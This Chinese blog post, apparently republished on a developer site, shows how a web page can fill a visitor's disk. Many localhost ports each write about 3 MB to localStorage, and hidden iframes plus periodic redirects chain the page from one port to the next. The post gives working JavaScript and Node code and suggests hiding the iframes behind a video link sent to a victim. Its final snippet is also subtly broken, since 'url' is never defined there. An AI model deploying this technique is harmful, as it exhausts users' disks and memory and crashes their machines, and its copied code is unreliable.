作为一个前端,可以如何机智地弄坏一台电脑?

栏目: Html5 · 发布时间: 6年前

内容简介:有人说,前端的界限就在浏览器那儿。故事得从localStorage说起。对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。

这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。

然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些 安全问题

想象一下,有天你在家里上网,吃着火锅还唱着歌, 点开一个链接,电脑突然就蓝屏了 !想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。

windows下的chrome,localStorage存储于 C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage 文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成: 这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个 域名+端口

也就是说,你访问 同一个域名的不同端口 ,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问 http://127.0.0.1:1000http://127.0.0.1:1099 这100个端口,会请求到同一个页面: index.html

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
http.createServer(function (request, response) {
//请忽略这种循环读文件的方式,只为了简便
fs.readFile('./index.html', function(err, content){
if(err) {
} else {
response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
response.write(content);
response.end();
}
});
}).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。

如果要实验变得更好(xie)玩(e)一些,问题就变成如何 让用户自动遍历这些端口

iframe是个好的尝试。

只要一打开 http://127.0.0.1: 1000 ,页面的脚步就会创建一个iframe,去请求 http://127.0.0.1: 1001 ,一直循环下去。

var Main = (function(){
var _key = "testData";
var _max = 1100; //最大限制
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);

var port = parseInt(location.port)+1;
if(port > _max) return;

//新添加iframe
var url = "http://127.0.0.1:" + port;
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

作为一个前端,可以如何机智地弄坏一台电脑?

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。

每访问50个端口,就使用 window.location.href 重定向一次,去确保浏览器不崩溃。

var Main = (function(){
var _key = "testData";
var _max = 1200; //最大限制
var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);

var port = parseInt(location.port)+1;
if(port > _max) return;

if(port % _jumpSpace == 0){
//每50个,重定向一次
window.location.href = url;
}else{
//新添加iframe
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
}
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问 http://127.0.0.1: 1000 ,就会往Local Storage文件夹里写入近500M无用数据:

作为一个前端,可以如何机智地弄坏一台电脑?

里面的数据是这样的:

作为一个前端,可以如何机智地弄坏一台电脑?

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。

结果是这样的,到达了1.17G大小。

作为一个前端,可以如何机智地弄坏一台电脑?

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行 localStorage.setItem() 后,在文件夹里不一定立即能看到数据文件。

怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可无。

本实验,从一开始就是怀揣着将 安全问题上交给国家的初衷 去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。

由于请求过多,需要一定时间,我就去做别的事情了。

回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。

作为一个前端,可以如何机智地弄坏一台电脑?

那么问题来了,计算机修理哪家强?有点急…


以上所述就是小编给大家介绍的《作为一个前端,可以如何机智地弄坏一台电脑?》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

并行计算导论

并行计算导论

Ananth Grama、George Karypis、张武、毛国勇、Anshul Gupta、Vipin Kumar、程海英 / 张武、毛国勇、程海英 / 机械工业出版社 / 2005-1-1 / 49.00元

《并行计算导论》(原书第2版)全面介绍并行计算的各个方面,包括体系结构、编程范例、算法与应用和标准等,涉及并行计算的新技术,也覆盖了较传统的算法,如排序、搜索、图和动态编程等。《并行计算导论》(原书第2版)尽可能采用与底层平台无关的体系结构并且针对抽象模型来设计处落地。书中选择MPI、POSIX线程和OpenMP作为编程模型,并在不同例子中反映了并行计算的不断变化的应用组合。一起来看看 《并行计算导论》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

随机密码生成器
随机密码生成器

多种字符组合密码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具